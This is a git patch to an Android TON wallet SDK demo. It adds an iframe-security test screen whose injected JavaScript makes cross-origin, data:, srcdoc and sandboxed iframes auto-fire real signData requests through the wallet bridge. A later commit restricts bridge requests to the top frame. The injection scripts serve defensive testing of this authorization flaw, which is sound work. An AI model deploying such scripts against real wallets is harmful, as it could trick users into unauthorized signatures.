catch(e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:'SAME-ORIGIN-IFRAME',action:'CANNOT INJECT (cross-origin?)',claimedOrigin:(location.origin||'null'),ts:Date.now()}));}catch(x){}} + }); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + CROSS_ORIGIN_DATA -> { + val html = selfContainedDoc("DATA-IFRAME", "Opaque origin. Never connected.") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(dataUrl(html))}; + __ifsecAdd(f); + })(); + """.trimIndent() + } + + SRCDOC -> { + val html = selfContainedDoc("SRCDOC-IFRAME", "srcdoc — inherits parent origin in the browser sense.") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.setAttribute('srcdoc', ${jsString(html)}); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + SANDBOXED -> { + val html = selfContainedDoc("SANDBOXED-IFRAME", "sandbox=allow-scripts. Opaque origin.") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.setAttribute('sandbox','allow-scripts'); + f.setAttribute('srcdoc', ${jsString(html)}); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + RAW_JS_INTERFACE -> { + val html = rawInterfaceDoc("RAW-JS-IFACE") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(dataUrl(html))}; + __ifsecAdd(f); + })(); + """.trimIndent() + } + } + return PANEL_PRELUDE + "\n" + body + } + + companion object { + const val DAPP_ORIGIN = "https://tonconnect-sdk-demo-dapp.vercel.app" + const val DAPP_URL = "$DAPP_ORIGIN/?qa=1" + const val SAME_ORIGIN_URL = "$DAPP_ORIGIN/iframe/iframe" + + private val PANEL_PRELUDE = """ + (function(){ + if(window.__ifsecAdd) return; + function ensurePanel(){ + var p=document.getElementById('__ifsec_panel'); + if(!p){ + p=document.createElement('div'); + p.id='__ifsec_panel'; + p.style.cssText='position:fixed;left:0;right:0;bottom:0;z-index:2147483647;max-height:55%;overflow:auto;background:rgba(20,20,22,.96);padding:8px;border-top:3px solid #ff3b30;box-sizing:border-box'; + var bar=document.createElement('div'); + bar.style.cssText='color:#fff;font:700 12px sans-serif;margin-bottom:6px'; + bar.textContent='INJECTED ATTACK FRAMES'; + p.appendChild(bar); + document.body.appendChild(p); + } + return p; + } + window.__ifsecClear=function(){var p=document.getElementById('__ifsec_panel');if(p)p.remove();}; + window.__ifsecAdd=function(node){ensurePanel().appendChild(node);}; + })(); + """.trimIndent() + + private fun frameStyle(v: String) = + "$v.style.cssText='width:100%;border:0;min-height:150px;background:#fff;border-radius:8px;margin-top:6px';" + + /** A script that, run inside a frame, renders an overlay and auto-fires a real signData. */ + fun realSendScript(label: String, note: String): String = + """ + (function(){ + var LBL=${jsString(label)}; var NOTE=${jsString(note)}; + function log(a,e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:LBL,action:a,claimedOrigin:(location.origin||'null'),payload:e||'',ts:Date.now()}));}catch(x){}} + var box=document.createElement('div'); + box.style.cssText='font:13px sans-serif;background:#ffe5cf;color:#1d1d1f;padding:10px;border:2px solid #ff9b5b'; + box.innerHTML='
'+LBL+'
'+ + '
origin: '+(location.origin||'null')+'
url: '+location.href+'
'+ + '
'+NOTE+'
'; + (document.body||document.documentElement).appendChild(box); + function realSend(){ + var appReq={method:'signData',params:[JSON.stringify({type:'text',text:'UNCONNECTED frame ['+LBL+'] @ '+location.href})],id:String(Date.now())}; + var p=(window.ton&&window.ton.tonconnect)||(window.wallet&&window.wallet.tonconnect); + if(p){ + log('signData(real) via provider →'); + p.send(appReq).then(function(r){log('RESOLVED ✓ wallet signed',JSON.stringify(r).slice(0,180));}) + .catch(function(e){log('REJECTED ✗',(e&&e.message?e.message:String(e)).slice(0,180));}); + return; + } + var b=window.AndroidTonConnect; + if(!(b&&b.postMessage)){log('NO PROVIDER AND NO AndroidTonConnect IN FRAME');return;} + log('signData(real) via RAW AndroidTonConnect (no provider) →'); + try{ b.postMessage(JSON.stringify({type:'TONCONNECT_BRIDGE_REQUEST',messageId:'msg-'+Date.now(),method:'send',params:[appReq],frameId:(window.__tonconnect_frameId||('frame-'+Date.now()))})); log('raw posted (response not tracked)'); } + catch(e){ log('raw post threw',String(e).slice(0,180)); } + } + setTimeout(realSend,500); + })(); + """.trimIndent() + + /** Self-contained doc (data:/srcdoc/sandboxed) that embeds the real-send script. */ + private fun selfContainedDoc(label: String, note: String): String { + val script = realSendScript(label, note) + return "" + + "" + + "" + } + + /** A data: frame that ONLY uses the raw @JavascriptInterface — no high-level provider. */ + private fun rawInterfaceDoc(label: String): String { + val script = """ + (function(){ + var LBL=${jsString(label)}; + function log(a,e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:LBL,action:a,claimedOrigin:(location.origin||'null'),payload:e||'',ts:Date.now()}));}catch(x){}} + var b=window.AndroidTonConnect; + var present=!!(b&&b.postMessage); + document.body.innerHTML='
'+ + '
'+LBL+'
'+ + '
origin: '+(location.origin||'null')+'
'+ + '
window.AndroidTonConnect present: '+present+'
'; + log('AndroidTonConnect present in opaque frame: '+present); + if(!present){log('no @JavascriptInterface here');return;} + var appReq={method:'signData',params:[JSON.stringify({type:'text',text:'Raw @JavascriptInterface signData from data: iframe'})],id:String(Date.now())}; + setTimeout(function(){ + log('RAW AndroidTonConnect.postMessage(send signData) →'); + try{ b.postMessage(JSON.stringify({type:'TONCONNECT_BRIDGE_REQUEST',messageId:'msg-'+Date.now(),method:'send',params:[appReq],frameId:'frame-raw'})); log('raw posted'); } + catch(e){ log('raw post threw',String(e).slice(0,180)); } + },500); + })(); + """.trimIndent() + return "" + + "" + + "" + } + + private fun dataUrl(html: String): String { + val b64 = Base64.encodeToString(html.toByteArray(Charsets.UTF_8), Base64.NO_WRAP) + return "data:text/html;charset=utf-8;base64,$b64" + } + + /** Encode a Kotlin string as a JS string literal. */ + private fun jsString(s: String): String { + val sb = StringBuilder("\"") + for (c in s) { + when (c) { + '\\' -> sb.append("\\\\") + '"' -> sb.append("\\\"") + '\n' -> sb.append("\\n") + '\r' -> sb.append("\\r") + '\t' -> sb.append("\\t") + else -> sb.append(c) + } + } + sb.append("\"") + return sb.toString() + } + } +} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt new file mode 100644 index 00000000..0f3e5127 --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt @@ -0,0 +1,305 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import androidx.activity.compose.BackHandler +import androidx.compose.foundation.background +import androidx.compose.foundation.border +import androidx.compose.foundation.clickable +import androidx.compose.foundation.layout.Arrangement +import androidx.compose.foundation.layout.Box +import androidx.compose.foundation.layout.Column +import androidx.compose.foundation.layout.PaddingValues +import androidx.compose.foundation.layout.Row +import androidx.compose.foundation.layout.fillMaxSize +import androidx.compose.foundation.layout.fillMaxWidth +import androidx.compose.foundation.layout.height +import androidx.compose.foundation.layout.padding +import androidx.compose.foundation.lazy.LazyColumn +import androidx.compose.foundation.lazy.items +import androidx.compose.foundation.lazy.rememberLazyListState +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.material3.HorizontalDivider +import androidx.compose.material3.Text +import androidx.compose.material3.TextButton +import androidx.compose.runtime.Composable +import androidx.compose.runtime.LaunchedEffect +import androidx.compose.runtime.getValue +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import androidx.compose.runtime.setValue +import androidx.compose.ui.Alignment +import androidx.compose.ui.Modifier +import androidx.compose.ui.draw.clip +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.text.font.FontFamily +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp +import io.ton.walletkit.demo.designsystem.theme.TonTheme +import io.ton.walletkit.demo.presentation.ui.screen.SubScreenTopBar +import java.text.SimpleDateFormat +import java.util.Date +import java.util.Locale + +private val timeFormat = SimpleDateFormat("HH:mm:ss.SSS", Locale.US) + +/** + * Synthetic iframe-security matrix. A list of cases; tapping one opens a detail screen with the + * diagnostic WebView and a live log comparing the JS-claimed origin against the platform-reported + * (ground-truth) frame origin. + */ +@Composable +fun WalletKitIframeSecurityScreen( + onBack: () -> Unit, + modifier: Modifier = Modifier, +) { + var selected by remember { mutableStateOf(null) } + + val current = selected + if (current != null) { + BackHandler { selected = null } + IframeSecurityCaseScreen(testCase = current, onBack = { selected = null }, modifier = modifier) + return + } + + Column( + modifier = modifier + .fillMaxSize() + .background(TonTheme.colors.bgSecondary), + ) { + SubScreenTopBar(title = "Iframe Security", onBack = onBack) + LazyColumn( + modifier = Modifier + .fillMaxSize() + .padding(16.dp), + verticalArrangement = Arrangement.spacedBy(12.dp), + ) { + item { + Text( + text = "Each case serves a self-contained page (main frame at " + + "https://parent-dapp.test/) with iframes that exercise a specific attack " + + "surface. A diagnostic bridge logs every postMessage with the real frame " + + "origin (WebViewCompat sourceOrigin), so claimed vs actual can be compared.", + style = TonTheme.typography.footnote.style, + color = TonTheme.colors.textSecondary, + ) + } + items(IframeSecurityCase.entries) { testCase -> + Column( + modifier = Modifier + .fillMaxWidth() + .clip(RoundedCornerShape(12.dp)) + .background(TonTheme.colors.bgPrimary) + .clickable { selected = testCase } + .padding(16.dp), + verticalArrangement = Arrangement.spacedBy(4.dp), + ) { + Text( + text = testCase.title, + style = TonTheme.typography.bodySemibold.style, + color = TonTheme.colors.textPrimary, + ) + Text( + text = testCase.summary, + style = TonTheme.typography.footnote.style, + color = TonTheme.colors.textSecondary, + ) + } + } + } + } +} + +@Composable +private fun IframeSecurityCaseScreen( + testCase: IframeSecurityCase, + onBack: () -> Unit, + modifier: Modifier = Modifier, +) { + val log = remember(testCase) { IframeSecLog() } + + Column( + modifier = modifier + .fillMaxSize() + .background(TonTheme.colors.bgSecondary), + ) { + SubScreenTopBar(title = testCase.title, onBack = onBack) + + DescriptionPanel(testCase) + HorizontalDivider() + + IframeSecurityWebView( + testCase = testCase, + log = log, + modifier = Modifier + .fillMaxWidth() + .weight(1f), + ) + + HorizontalDivider() + LogPanel(log = log, modifier = Modifier.fillMaxWidth()) + } +} + +@Composable +private fun DescriptionPanel(testCase: IframeSecurityCase) { + Column( + modifier = Modifier + .fillMaxWidth() + .background(TonTheme.colors.bgPrimary) + .padding(12.dp), + verticalArrangement = Arrangement.spacedBy(6.dp), + ) { + Field("Summary", testCase.summary) + Field("Class", testCase.vulnerabilityClass) + Field("What to watch", testCase.observation) + } +} + +@Composable +private fun Field(title: String, body: String) { + Column(verticalArrangement = Arrangement.spacedBy(2.dp)) { + Text(title, style = TonTheme.typography.caption1.style, color = TonTheme.colors.textPrimary, fontWeight = FontWeight.Bold) + Text(body, style = TonTheme.typography.caption1.style, color = TonTheme.colors.textSecondary) + } +} + +@Composable +private fun LogPanel(log: IframeSecLog, modifier: Modifier = Modifier) { + val listState = rememberLazyListState() + LaunchedEffect(log.entries.size) { + if (log.entries.isNotEmpty()) listState.animateScrollToItem(log.entries.size - 1) + } + + Column(modifier = modifier.height(240.dp)) { + Row( + modifier = Modifier + .fillMaxWidth() + .background(TonTheme.colors.bgSecondary) + .padding(horizontal = 12.dp, vertical = 6.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + Text( + text = "Bridge log (${log.entries.size})", + style = TonTheme.typography.caption1.style, + color = TonTheme.colors.textPrimary, + fontWeight = FontWeight.Bold, + modifier = Modifier.weight(1f), + ) + TextButton(onClick = { log.clear() }, enabled = log.entries.isNotEmpty()) { + Text("Clear") + } + } + + if (log.entries.isEmpty()) { + Text( + text = "No bridge messages yet. Tap a button inside the WebView above.", + style = TonTheme.typography.caption1.style, + color = TonTheme.colors.textSecondary, + modifier = Modifier.padding(12.dp), + ) + } else { + LazyColumn( + state = listState, + modifier = Modifier.fillMaxSize(), + contentPadding = PaddingValues(12.dp), + verticalArrangement = Arrangement.spacedBy(4.dp), + ) { + items(log.entries, key = { it.id }) { entry -> LogRow(entry) } + } + } + } +} + +@Composable +internal fun LogRow(entry: IframeSecLogEntry) { + val claimedMatches = entry.claimedOrigin == entry.actualOrigin + val badgeColor = when { + entry.isNative -> Color(0xFF2D7DF6) + claimedMatches -> Color(0xFF2EA043) + else -> Color(0xFFE5484D) + } + Column( + modifier = Modifier + .fillMaxWidth() + .clip(RoundedCornerShape(6.dp)) + .background(if (entry.isNative) Color(0x142D7DF6) else TonTheme.colors.bgPrimary) + .border(0.5.dp, Color(0x33808080), RoundedCornerShape(6.dp)) + .padding(8.dp), + verticalArrangement = Arrangement.spacedBy(3.dp), + ) { + Row(verticalAlignment = Alignment.CenterVertically) { + Box( + modifier = Modifier + .clip(RoundedCornerShape(4.dp)) + .background(badgeColor.copy(alpha = 0.18f)) + .padding(horizontal = 6.dp, vertical = 2.dp), + ) { + Text(entry.frameLabel, fontSize = 10.sp, fontWeight = FontWeight.Bold, color = badgeColor) + } + Text( + text = " ${entry.action}", + fontSize = 11.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textPrimary, + modifier = Modifier.weight(1f), + ) + if (!entry.isMainFrame && !entry.isNative) { + Box( + modifier = Modifier + .clip(RoundedCornerShape(3.dp)) + .background(Color(0x33FF9800)) + .padding(horizontal = 4.dp, vertical = 1.dp), + ) { + Text("iframe", fontSize = 9.sp, color = Color(0xFFE08600)) + } + } + Text( + text = timeFormat.format(Date(entry.timestamp)), + fontSize = 10.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textTertiary, + ) + } + OriginRow("real:", entry.actualOrigin, TonTheme.colors.textPrimary) + if (!entry.isNative) { + OriginRow("claimed:", entry.claimedOrigin, if (claimedMatches) TonTheme.colors.textPrimary else Color(0xFFE5484D)) + } + if (entry.payload.isNotEmpty()) { + Text( + text = entry.payload, + fontSize = 10.sp, + fontFamily = FontFamily.Monospace, + color = TonTheme.colors.textSecondary, + ) + } + } +} + +@Composable +private fun OriginRow(title: String, value: String, color: Color) { + Row { + Text(title, fontSize = 10.sp, color = TonTheme.colors.textTertiary) + Text(" $value", fontSize = 10.sp, fontFamily = FontFamily.Monospace, color = color) + } +} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt new file mode 100644 index 00000000..e7b5de66 --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt @@ -0,0 +1,277 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:SuppressLint("SetJavaScriptEnabled") + +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import android.annotation.SuppressLint +import android.view.ViewGroup +import android.webkit.WebView +import androidx.compose.foundation.background +import androidx.compose.foundation.clickable +import androidx.compose.foundation.horizontalScroll +import androidx.compose.foundation.layout.Arrangement +import androidx.compose.foundation.layout.Column +import androidx.compose.foundation.layout.PaddingValues +import androidx.compose.foundation.layout.Row +import androidx.compose.foundation.layout.fillMaxSize +import androidx.compose.foundation.layout.fillMaxWidth +import androidx.compose.foundation.layout.height +import androidx.compose.foundation.layout.padding +import androidx.compose.foundation.lazy.LazyColumn +import androidx.compose.foundation.lazy.items +import androidx.compose.foundation.lazy.rememberLazyListState +import androidx.compose.foundation.rememberScrollState +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.material3.HorizontalDivider +import androidx.compose.material3.Text +import androidx.compose.material3.TextButton +import androidx.compose.runtime.Composable +import androidx.compose.runtime.LaunchedEffect +import androidx.compose.runtime.getValue +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import androidx.compose.runtime.setValue +import androidx.compose.ui.Alignment +import androidx.compose.ui.Modifier +import androidx.compose.ui.draw.clip +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.unit.dp +import androidx.compose.ui.viewinterop.AndroidView +import androidx.webkit.WebViewCompat +import androidx.webkit.WebViewFeature +import io.ton.walletkit.ITONWalletKit +import io.ton.walletkit.demo.core.WalletKitDemoApp +import io.ton.walletkit.demo.designsystem.theme.TonTheme +import io.ton.walletkit.demo.presentation.ui.screen.SubScreenTopBar +import io.ton.walletkit.event.TONWalletKitEvent +import io.ton.walletkit.extensions.injectTonConnect +import org.json.JSONObject + +/** + * Iframe-security matrix against the REAL WalletKit bridge. Loads the demo dApp with + * injectTonConnect(walletKit), then injects iframe topologies that fire real signData requests. + * + * On Android the bridge attributes every frame's request to webView.url (the main dApp domain), + * so cross-origin / data: / sandboxed iframes are all authorized — the native sign-data sheet + * appears for frames that never connected. The diagnostic `iframeSecLog` listener shows the true + * per-frame origin for contrast; the blue SDK rows show the (main-frame) domain the bridge used. + */ +@Composable +fun WalletKitRealBridgeIframeScreen( + walletKit: ITONWalletKit, + onBack: () -> Unit, + modifier: Modifier = Modifier, +) { + val context = LocalContext.current + val app = remember(context) { context.applicationContext as WalletKitDemoApp } + val log = remember { IframeSecLog() } + var webView by remember { mutableStateOf(null) } + var selected by remember { mutableStateOf(RealBridgeIframeCase.CROSS_ORIGIN_DATA) } + + // Mirror every event the SDK actually surfaces, with the domain it attributed (ground truth). + LaunchedEffect(Unit) { + log.addNative(action = "Ready — connect in the dApp, then pick a case and tap Inject", domain = "—") + app.sdkEvents.collect { event -> log.addNative(describeEvent(event), eventDomain(event), eventPayload(event)) } + } + + Column( + modifier = modifier + .fillMaxSize() + .background(TonTheme.colors.bgSecondary), + ) { + SubScreenTopBar(title = "Real Bridge", onBack = onBack) + + Column( + modifier = Modifier + .fillMaxWidth() + .background(TonTheme.colors.bgPrimary) + .padding(10.dp), + verticalArrangement = Arrangement.spacedBy(4.dp), + ) { + Text(selected.title, style = TonTheme.typography.bodySemibold.style, color = TonTheme.colors.textPrimary) + Text(selected.summary, style = TonTheme.typography.caption1.style, color = TonTheme.colors.textSecondary) + Text(selected.expectation, style = TonTheme.typography.caption1.style, color = Color(0xFFE5484D)) + } + + Row( + modifier = Modifier + .fillMaxWidth() + .padding(horizontal = 10.dp, vertical = 8.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + // Scrolling case chips take the remaining width... + Row( + modifier = Modifier + .weight(1f) + .horizontalScroll(rememberScrollState()), + horizontalArrangement = Arrangement.spacedBy(8.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + RealBridgeIframeCase.entries.forEach { case -> + val isSel = case == selected + Text( + text = case.shortTitle, + style = TonTheme.typography.caption1.style, + color = if (isSel) Color.White else TonTheme.colors.textPrimary, + modifier = Modifier + .clip(RoundedCornerShape(8.dp)) + .background(if (isSel) TonTheme.colors.bgBrand else TonTheme.colors.bgFillTertiary) + .clickable { selected = case } + .padding(horizontal = 10.dp, vertical = 6.dp), + ) + } + } + + // ...while the Inject button stays pinned on the right, outside the scroll. + Text( + text = "Inject", + style = TonTheme.typography.bodySemibold.style, + color = Color.White, + modifier = Modifier + .padding(start = 8.dp) + .clip(RoundedCornerShape(8.dp)) + .background(Color(0xFFE5484D)) + .clickable { + val wv = webView + if (wv == null) { + log.addNative("⚠️ WebView not ready", "—") + } else { + log.addNative("▶ Inject: ${selected.title}", "(main frame)") + wv.evaluateJavascript(selected.spawnJs(), null) + } + } + .padding(horizontal = 12.dp, vertical = 6.dp), + ) + } + + HorizontalDivider() + + AndroidView( + modifier = Modifier + .fillMaxWidth() + .weight(1f), + factory = { ctx -> + WebView(ctx).apply { + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT, + ) + settings.javaScriptEnabled = true + settings.domStorageEnabled = true + + // Real WalletKit bridge (AndroidTonConnect + window.ton.tonconnect, all frames). + injectTonConnect(walletKit) + + // Parallel diagnostic listener: reports the TRUE per-frame origin the platform + // sees, so it can be contrasted with the domain the SDK attributes. + if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { + WebViewCompat.addWebMessageListener( + this, + "iframeSecLog", + setOf("*"), + ) { _, message, sourceOrigin, isMainFrame, _ -> + val json = runCatching { JSONObject(message.data ?: "") }.getOrNull() + if (json != null) { + log.add( + IframeSecLogEntry( + frameLabel = json.optString("frameLabel", "?"), + action = json.optString("action", "?"), + claimedOrigin = json.optString("claimedOrigin", "?"), + actualOrigin = sourceOrigin?.toString().orEmpty().ifEmpty { "null (opaque)" }, + isMainFrame = isMainFrame, + payload = json.optString("payload", ""), + ), + ) + } + } + } + + webView = this + loadUrl(RealBridgeIframeCase.DAPP_URL) + } + }, + ) + + HorizontalDivider() + RealBridgeLogPanel(log) + } +} + +@Composable +private fun RealBridgeLogPanel(log: IframeSecLog) { + val listState = rememberLazyListState() + LaunchedEffect(log.entries.size) { + if (log.entries.isNotEmpty()) listState.animateScrollToItem(log.entries.size - 1) + } + Column(modifier = Modifier.fillMaxWidth().height(240.dp)) { + Row( + modifier = Modifier + .fillMaxWidth() + .background(TonTheme.colors.bgSecondary) + .padding(horizontal = 12.dp, vertical = 6.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + Text( + text = "Log (${log.entries.size}) · orange = injected frame · blue = SDK event", + style = TonTheme.typography.caption1.style, + color = TonTheme.colors.textSecondary, + modifier = Modifier.weight(1f), + ) + TextButton(onClick = { log.clear() }, enabled = log.entries.isNotEmpty()) { Text("Clear") } + } + LazyColumn( + state = listState, + modifier = Modifier.fillMaxSize(), + contentPadding = PaddingValues(12.dp), + verticalArrangement = Arrangement.spacedBy(4.dp), + ) { + items(log.entries, key = { it.id }) { entry -> LogRow(entry) } + } + } +} + +private fun describeEvent(event: TONWalletKitEvent): String = when (event) { + is TONWalletKitEvent.ConnectRequest -> "→ SDK connectRequest" + is TONWalletKitEvent.SignDataRequest -> "→ SDK signDataRequest — SHEET SHOULD APPEAR" + is TONWalletKitEvent.SignMessageRequest -> "→ SDK signMessageRequest" + is TONWalletKitEvent.SendTransactionRequest -> "→ SDK transactionRequest" + is TONWalletKitEvent.Disconnect -> "→ SDK disconnect" + is TONWalletKitEvent.RequestError -> "→ SDK requestError" +} + +private fun eventDomain(event: TONWalletKitEvent): String = when (event) { + is TONWalletKitEvent.ConnectRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.SignDataRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.SignMessageRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.SendTransactionRequest -> event.request.event.domain ?: "(nil)" + is TONWalletKitEvent.Disconnect -> event.event.domain ?: "(nil)" + is TONWalletKitEvent.RequestError -> "—" +} + +private fun eventPayload(event: TONWalletKitEvent): String = when (event) { + is TONWalletKitEvent.SignDataRequest -> "tabId=${event.request.event.tabId ?: "nil"}" + is TONWalletKitEvent.SendTransactionRequest -> "tabId=${event.request.event.tabId ?: "nil"}" + is TONWalletKitEvent.SignMessageRequest -> "tabId=${event.request.event.tabId ?: "nil"}" + else -> "" +} From baa65476f37669afb49c5e5814f00ec0fbe905c5 Mon Sep 17 00:00:00 2001 From: Nikita Rodionov Date: Thu, 11 Jun 2026 16:17:25 +0300 Subject: [PATCH 02/10] Additional cases --- .../walletkit/browser/TonConnectInjector.kt | 135 +++++++++++++----- 1 file changed, 99 insertions(+), 36 deletions(-) diff --git a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt index dfa6a59d..695cf5f3 100644 --- a/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt +++ b/TONWalletKit-Android/impl/src/main/java/io/ton/walletkit/browser/TonConnectInjector.kt @@ -54,6 +54,7 @@ import kotlinx.serialization.encodeToString import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.buildJsonObject +import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.put import java.lang.ref.WeakReference import java.util.concurrent.ConcurrentHashMap @@ -84,6 +85,9 @@ internal class TonConnectInjector( private const val ERROR_WALLET_ENGINE_NOT_INITIALIZED = "Wallet engine not initialized" private const val ERROR_FAILED_PROCESS_REQUEST = "Failed to process request" private const val ERROR_CODE_INTERNAL = 500 + private const val ERROR_CODE_FORBIDDEN = 403 + private const val FORBIDDEN_IFRAME_MESSAGE = + "TonConnect requests are only allowed from the top frame, not from iframes" private const val METHOD_SEND = "send" // Registry of active WebViews for JS Bridge sessions @@ -197,15 +201,38 @@ internal class TonConnectInjector( */ @SuppressLint("SetJavaScriptEnabled") override fun setup() { - // Add JavaScript interface for bridge communication + // Bridge communication intake. + // + // SECURITY: prefer WebViewCompat.addWebMessageListener over addJavascriptInterface. + // A @JavascriptInterface method carries NO information about which frame called it, + // so the bridge previously attributed every request to webView.url (the main-frame + // URL) — letting any embedded iframe issue connect/sign/transaction calls under the + // host dApp's identity. A WebMessageListener instead delivers the platform- + // authenticated sourceOrigin and isMainFrame for the calling frame, which JS cannot + // forge. Registering it under the same JS object name the bundle already uses + // (window..postMessage) makes it a drop-in for request intake; + // responses are still delivered via postWebMessage and are unaffected. bridgeInterface = BridgeInterface( - onMessage = { json, type -> handleBridgeMessage(json, type) }, + onMessage = { json, type -> handleBridgeMessage(json, type, sourceOrigin = null, isMainFrame = true) }, onError = { error -> Logger.e(TAG, "Bridge error: $error") }, ) - webView.addJavascriptInterface( - bridgeInterface, - BrowserConstants.JS_INTERFACE_NAME, - ) + + if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { + WebViewCompat.addWebMessageListener( + webView, + BrowserConstants.JS_INTERFACE_NAME, + setOf("*"), + ) { _, message, sourceOrigin, isMainFrame, _ -> + handleSecureBridgeMessage(message.data, sourceOrigin.toString(), isMainFrame) + } + Logger.d(TAG, "Bridge intake via WebMessageListener (per-frame origin enforced)") + } else { + // Legacy WebView without per-frame origin support: fall back to the origin-blind + // JS interface. Frame identity is unavailable here, so requests are treated as + // main-frame (best effort) — these old WebView versions are increasingly rare. + Logger.w(TAG, "WEB_MESSAGE_LISTENER unsupported — per-frame origin enforcement unavailable") + webView.addJavascriptInterface(bridgeInterface, BrowserConstants.JS_INTERFACE_NAME) + } // Register WebView with existing sessions (important when app is reopened) // This ensures disconnect and other events work after the WebView is recreated @@ -240,10 +267,23 @@ internal class TonConnectInjector( val config = (walletKit as? TONWalletKit)?.engine?.getConfiguration() val injectOptions = buildInjectOptions(config) - // Create initialization script that calls window.injectWalletKit(options) + // Create initialization script that calls window.injectWalletKit(options). + // The WebMessageListener object (window.) may attach a + // moment after this document-start script runs, so wait briefly for it before + // initialising the bridge — otherwise the bundle's transport would not find it. val fullScript = """ $injectionScript - window.injectWalletKit($injectOptions); + (function () { + var init = function () { window.injectWalletKit($injectOptions); }; + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined') { init(); return; } + var tries = 0; + var timer = setInterval(function () { + if (typeof ${BrowserConstants.JS_INTERFACE_NAME} !== 'undefined' || tries++ > 50) { + clearInterval(timer); + init(); + } + }, 2); + })(); """.trimIndent() // Allow all origins (*) since this is a wallet browser that loads any dApp @@ -443,16 +483,32 @@ internal class TonConnectInjector( pendingRequests.clear() } - private fun handleBridgeMessage(json: JsonObject, type: String) { + 